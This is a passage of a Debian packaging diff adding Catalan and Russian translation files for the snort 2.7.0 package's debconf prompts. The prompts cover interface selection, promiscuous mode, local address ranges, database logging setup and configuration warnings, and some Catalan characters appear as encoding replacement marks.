+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Si esteu configurant el Snort en una interf�cie sense una adre�a d'IP "
+#~ "inhabiliteu el mode promiscu."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Introdu�u el nom de l'ordinador central del servidor de base de dades de "
+#~ "MySQL a utilitzar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Introdu�u el nom de la base de dades a utilitzar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Introdu�u el nom de usuari de la base de dades que voleu utilitzar."
+
+#~ msgid "Please enter the password for the database connection."
+#~ msgstr "Introdu�u la contrasenya per a la connexi� amb la base de dades."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Introdu�u el nom de l'ordinador central del servidor de base de dades de "
+#~ "pgsql  a utilitzar."
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters) which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "El sistema t� un fitxer de configuraci� obsolet (/etc/snort/snort.common."
+#~ "parameters) que s'ha convertit autom�ticament al nou format de fitxer de "
+#~ "configuraci� (a /etc/default/snort). Comproveu el nou fitxer de "
+#~ "configuraci� i suprimiu l'obsolet. Fins que no ho feu, la seq��ncia de "
+#~ "l'init.d no utilitzar� la nova configuraci� i no podreu utilitzar les "
+#~ "caracter�stiques afegides en les noves versions."
+
+#, fuzzy
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters)  which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "El sistema t� un fitxer de configuraci� obsolet (/etc/snort/snort.common."
+#~ "parameters) que s'ha convertit autom�ticament al nou format de fitxer de "
+#~ "configuraci� (a /etc/default/snort). Comproveu el nou fitxer de "
+#~ "configuraci� i suprimiu l'obsolet. Fins que no ho feu, la seq��ncia de "
+#~ "l'init.d no utilitzar� la nova configuraci� i no podreu utilitzar les "
+#~ "caracter�stiques afegides en les noves versions."
+
+#, fuzzy
+#~ msgid ""
+#~ "Your system has an obsolete configuration file   (/etc/snort/snort.common."
+#~ "parameters)  which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "El sistema t� un fitxer de configuraci� obsolet (/etc/snort/snort.common."
+#~ "parameters) que s'ha convertit autom�ticament al nou format de fitxer de "
+#~ "configuraci� (a /etc/default/snort). Comproveu el nou fitxer de "
+#~ "configuraci� i suprimiu l'obsolet. Fins que no ho feu, la seq��ncia de "
+#~ "l'init.d no utilitzar� la nova configuraci� i no podreu utilitzar les "
+#~ "caracter�stiques afegides en les noves versions."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on. The names of the available interfaces are provided by either running "
+#~ "'ip link show' of 'ifconfig'. This value usually is 'eth0', but you might "
+#~ "want to vary this depending on your environment, if you are using a "
+#~ "dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introdu�u el nom de la interf�cie(s) que hauria d'escoltar el snort. El "
+#~ "nom de les interf�cies disponibles el podeu aconseguir executant l'ordre "
+#~ "'ip link show'. El valor acostuma a ser 'eth0', per� us pot interessar "
+#~ "modificar-lo en funci� de l'entorn, si utilitzeu el marcatge directe "
+#~ "probablement us interessi m�s el valor 'ppp0'."
+
+#~ msgid "On which interface should Snort listen?"
+#~ msgstr "Quina interf�cie hauria d'escoltar el Snort?"
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Recordeu que el Snort acostuma a estar configurat per analitzar tot el "
+#~ "tr�fic d'internet, la interf�cie a afegir acostuma a ser la mateixa que "
+#~ "la de la 'ruta per defecte'. Podeu obtenir-la executant l'ordre 'ip route "
+#~ "show' o '/sbin/route -n' (cerqueu 'default' o '0.0.0.0')."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "S'hauria d'inhabilitar el mode promiscu de la interf�cie?"
+
+#~ msgid "What address range should Snort consider to be local?"
+#~ msgstr "Quin rang d'adreces hauria de considerar local el Snort?"
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one.  Specify multiple addresses on a single "
+#~ "line, seperated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Heu d'utilitzar el format CIDR, ex. 192.168.1.0/24 per un bloc de 256 IPs "
+#~ "o 192.268.1.42/32 per �nicament una.  Especifiqueu m�ltiples adreces "
+#~ "separades per ',' (car�cters de coma) i en una sola l�nia. Els espais no "
+#~ "estan permesos!"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that Snort will only see packets "
+#~ "addressed to its own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Si s'inhabilita el mode promiscu, el Snort �nicament veur� els paquets "
+#~ "adre�ats a la seva pr�pia interf�cie. Cal que l'habiliteu per comprovar "
+#~ "cada paquet que passa per la xarxa ethernet, encara que sigui entre "
+#~ "altres ordinadors."
+
+#~ msgid "When should snort be started?"
+#~ msgstr "Quan s'hauria d'iniciar el Snort?"
+
+#~ msgid "Please enter the address range that snort will listen on."
+#~ msgstr "Introdu�u el rang d'adreces que escoltar� el Snort."
+
+#~ msgid ""
+#~ "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#~ "192.168.1.42/32 for just one. Specify multiple addresses on a single "
+#~ "line, separated by ',' (comma characters). No spaces allowed!"
+#~ msgstr ""
+#~ "Heu d'utilitzar el format CIDR, ex. 192.168.1.0/24 per un bloc de 256 IPs "
+#~ "o 192.268.1.42/32 per �nicament una.  Especifiqueu m�ltiples adreces "
+#~ "separades per ',' (car�cters de coma) i en una sola l�nia. Els espais no "
+#~ "estan permesos!"
+
+#~ msgid ""
+#~ "Disabling the promiscuous mode means that snort will only see packets "
+#~ "addressed to it's own interface. Enabling allows it to check every packet "
+#~ "that passes the ethernet even if it's a connection between two other "
+#~ "computers"
+#~ msgstr ""
+#~ "Si s'inhabilita el mode promiscu, el Snort �nicament veur� els paquets "
+#~ "adre�ats a la seva pr�pia interf�cie. Cal que l'habiliteu per comprovar "
+#~ "cada paquet que passa per la xarxa ethernet, encara que sigui entre "
+#~ "altres ordinadors."
+
+#~ msgid "Should snort's rules testing order be changed to Pass|Alert|Log?"
+#~ msgstr ""
+#~ "S'hauria de canviar l'ordre de comprovaci� de les regles del Snort per "
+#~ "Pass|Alert|Log?"
+
+#~ msgid ""
+#~ "If you change snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge BPF command line "
+#~ "arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si canvieu l'ordre de comprovaci� de les regles del Snort per Pass|Alert|"
+#~ "Log, s'aplicaran en l'ordre Pass->Alert->Log, en compte del est�ndard "
+#~ "Alert->Pass->Log. Aquesta opci� permetr� que els usuaris no hagin "
+#~ "d'utilitzar una grna quantitat d'arguments de la l�nia d'ordres de BPF "
+#~ "per filtrar les regles d'alerta."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have the following things at hand: - The "
+#~ "hostname of a machine running a pgsql server, set up to allow TCP\n"
+#~ "  connections to the database (from this host).\n"
+#~ "- A database on the database server - A username and password for a user "
+#~ "that has write access to this database. If you don't have _all_ of these, "
+#~ "either select 'no' and run with regular file logging support, or fix this "
+#~ "first. You can always configure database logging later, by reconfiguring "
+#~ "the snort-pgsql package."
+#~ msgstr ""
+#~ "Aquestes tasques nom�s les heu de realitzar la primera vegada que "
+#~ "instal�leu el snort-mysql. Abans de continuar assegureu-vos de tenir(1) "
+#~ "el nom d'un servidor central on s'estigui executant el servidor de PgSQL "
+#~ "i que permeti connexions tcp d'aquest ordinador. (2) una base de dades en "
+#~ "aquest servidor. (3) un nom d'usuari i una contrasenya per accedir a la "
+#~ "base de dades. Si no teniu tots els elements de la llista, solucioneu-ho "
+#~ "o seleccioneu l'opci� 'no' i utilitzeu el suport tradicional de registre "
+#~ "per fitxer. Posteriorment, sempre podreu configurar el mode de registre "
+#~ "reconfigurant el paquet snort-pgsql."
+
+#~ msgid ""
+#~ "Please create the database structure now, using the following command:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <user> -h <host> <databasename>\n"
+#~ "Filling in the correct values for the user, host, and database names. The "
+#~ "pgsql tool will prompt you for the password."
+#~ msgstr ""
+#~ "Creeu l'estructura de la base de dades utilitzant la seg�ent ordre:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | pgsql -u <usuari> -h <ordinador central> "
+#~ "<nom base de dades>\n"
+#~ "Omplint correctament les dades de l'usuari, ordinador central i nom de la "
+#~ "base de dades. El PgSQL us demanar� la contrasenya."
+
+#~ msgid "Please enter a password to connect to the SNORT Alert database"
+#~ msgstr ""
+#~ "Introdu�u la contrasenya per la connexi� a la base dades d'alerta de "
+#~ "l'Stnort"
+
+#~ msgid "You are running snort manually."
+#~ msgstr "Esteu executant el Snort manualment."
+
+#~ msgid ""
+#~ "Please restart snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Per l'efectivitat dels canvis reinicieu el Snort utilitzant:\n"
+#~ " /etc/init.d/snort start\n"
--- snort-2.7.0.orig/debian/po/ru.po
+++ snort-2.7.0/debian/po/ru.po
@@ -0,0 +1,605 @@
+# translation of ru.po to Russian
+# This file is distributed under the same license as the PACKAGE package.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER.
+#
+# Yuriy Talakan' <yt@drsk.ru>, 2007.
+# Yuri Kozlov <kozlov.y@gmail.com>, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.7.0-10\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-28 21:51+0400\n"
+"Last-Translator: Yuri Kozlov <kozlov.y@gmail.com>\n"
+"Language-Team: Russian <debian-l10n-russian@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms:  nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%"
+"10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "загрузка"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "дозвон"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "вручную"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Способ запуска Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort может запускаться при загрузке, при подключении к сети через pppd, или "
+"только когда вы вручную запустите его с помощью /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Интерфейсы, которые должен слушать Snort:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Обычно, это значение равно 'eth0', но оно может не работать в некоторых "
+"сетях; для коммутируемого подключения больше подходит 'ppp0' (посмотрите "
+"результат работы '/sbin/ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Обычно, это тот же интерфейс, через который проходит 'маршрут по умолчанию'. "
+"Вы можете определить какой интерфейс использовать с помощью команды '/sbin/"
+"route -n' (ищите '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Также нет ничего необычного в запуске Snort на интерфейсе без IP в режиме "
+"прослушивания. В этом случае, выберите на этой системе интерфейс, физически "
+"подключённый к инспектируемой сети, разрешите потом режим прослушивания и "
+"убедитесь, что сетевой трафик отправляется на этот интерфейс (подключённый к "
+"порту коммутатора 'port mirroring/spanning', к концентратору или к сетевой "
+"ловушке)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Вы можете указать здесь несколько интерфейсов, просто добавив более одного "
+"имени интерфейса через пробел. У каждого интерфейса могут быть свои "
+"собственные настройки."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Диапазон адресов локальной сети:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Используйте формат CIDR, например 192.168.1.0/24 для блока из 256 IP адресов "
+"или 192.168.1.42/32 для одного. Несколько адресов указываются на одной "
+"строке через запятую (без пробелов)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Обратите внимание, если для Snort указано несколько интерфейсов, то это "
+"определение будет использовано как определение HOME_NET для всех интерфейсов."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Должен ли Snort запретить режим прослушивания на интерфейсе?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Запрет режима прослушивания означает, что Snort будет видеть только те "
+"пакеты, которые адресованы его интерфейсу. Разрешение позволяет Snort "
+"проверить каждый пакет, проходящий через сегмент Ethernet, даже если это "
+"соединение между двумя другими компьютерами."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Неправильный интерфейс"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort пытается использовать интерфейс, который не существует или выключен. "
+"Возможно, интерфейс по умолчанию 'eth0' в вашем случае не подходит, или "
+"указанный вами интерфейс неправилен."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Изменить порядок проверки правил Snort на Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Порядок проверки правил по умолчанию в Snort установлен как Alert|Pass|Log; "
+"если вы ответите утвердительно, то порядок будет изменён на Pass|Alert|Log, "
+"что упростит использование Snort с другими инструментами фильтрации пакетов."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Отправлять ежедневные отчёты по e-mail?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Для отправки ежедневного отчёта по журналам Snort на указанный адрес "
+"электронной почты может быть настроено задание cron."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Укажите, хотите ли вы включить эту возможность."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Получатель ежедневного отчёта по почте:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Укажите адрес электронной почты, на который нужно отправлять ежедневный "
+"отчёт по журналам Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Дополнительные специальные настройки:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+"Здесь можно указать любые дополнительные специальные настройки, которые "
+"должен использовать Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+"Минимальное количество возникновения тревоги, чтобы она попала в отчёт:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Чтобы быть включённой в дневной отчёт, тревога должна возникнуть более, чем "
+"указанное число раз."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort требуется перезапустить"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Так как Snort запускается вручную, для того, чтобы изменения начали "
+"работать, вам нужно выполнить '/etc/init.d/snort'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Ошибка настройки"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Имеющаяся настройка Snort неправильна и из-за этого Snort не будет "
+"запускаться. Просмотрите и исправьте её."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Чтобы найти ошибку в файле настройки Snort, воспользуйтесь '/usr/sbin/snort -"
+"T -c <файл>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Устаревший файл настройки"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"В системе используется устаревший файл настройки (/etc/snort/snort.common."
+"parameters), он был автоматически преобразован в файл нового формата (в /etc/"
+"default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Просмотрите новые настройки и удалите устаревшие. Пока вы этого не сделаете, "
+"сценарий запуска не будет использовать новые настройки и вы не получите "
+"преимуществ, появившихся в новых выпусках."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Подготовить базу данных для журналирования с помощью snort-mysql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Для журналирования Snort не хватает настроенной базы данных. Перед тем как "
+"продолжить, проверьте:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - имя машины-сервера (этот сервер должен принимать TCP-соединения\n"
+"   с этой машины);\n"
+" - базу данных на этом сервере;\n"
+" - имя пользователя и пароль для доступа к базе данных."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Если не хватает хотя бы одного параметра, ответьте отрицательно и включите "
+"поддержку журналирования в обычный файл."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Журналирование в базу данных можно настроить позже с помощью команды 'dpkg-"
+"reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Имя сервера базы данных:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Убедитесь, что сервер базы данных настроен на прием входящих соединений от "
+"этого компьютера."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Имя базы данных:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Укажите имя существующей базы данных, для которой у пользователя базы данных "
+"есть права на запись."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Имя пользователя базы данных:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Укажите имя пользователя на сервере базы данных, имеющего доступ на запись в "
+"базу."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Пароль для подключения к базе данных:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr "Введите пароль для подключения к базе данных Snort Alert."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Для Snort должна быть настроена база данных"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort нужна настроенная база данных, прежде чем он сможет успешно "
+"запуститься. Чтобы создать структуру, вы должны запустить следующие команды "
+"ПОСЛЕ установки пакета:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <пользователь> -h <машина> -p <имя базы "
+"данных>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Замените на правильные значения пользователя, машины и базы данных. MySQL "
+"запросит у вас пароль."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "Вам надо запустить Snort вручную после создания структуры базы данных."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Подготовить базу данных для журналирования с помощью snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Журналирование в базу данных можно настроить позже с помощью команды 'dpkg-"
+"reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <пользователь> -h <машина> -W <имя базы "
+"данных>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Замените на правильные значения пользователя, машины и базы данных. "
+"PostgreSQL запросит у вас пароль."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Устаревший файл настроек"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Файл настроек Snort (/etc/snort/snort.conf) использует устаревшие параметры, "
+"более недоступные в этом выпуске Snort. Snort не сможет запуститься, пока вы "
+"не предоставите корректный файл настроек. Вы можете подменить ваш файл "
+"настроек одним из поставляемых с этим пакетом или поправить его вручную, "
+"удалив устаревшие параметры."
+
+#. Type: note
+#. Description
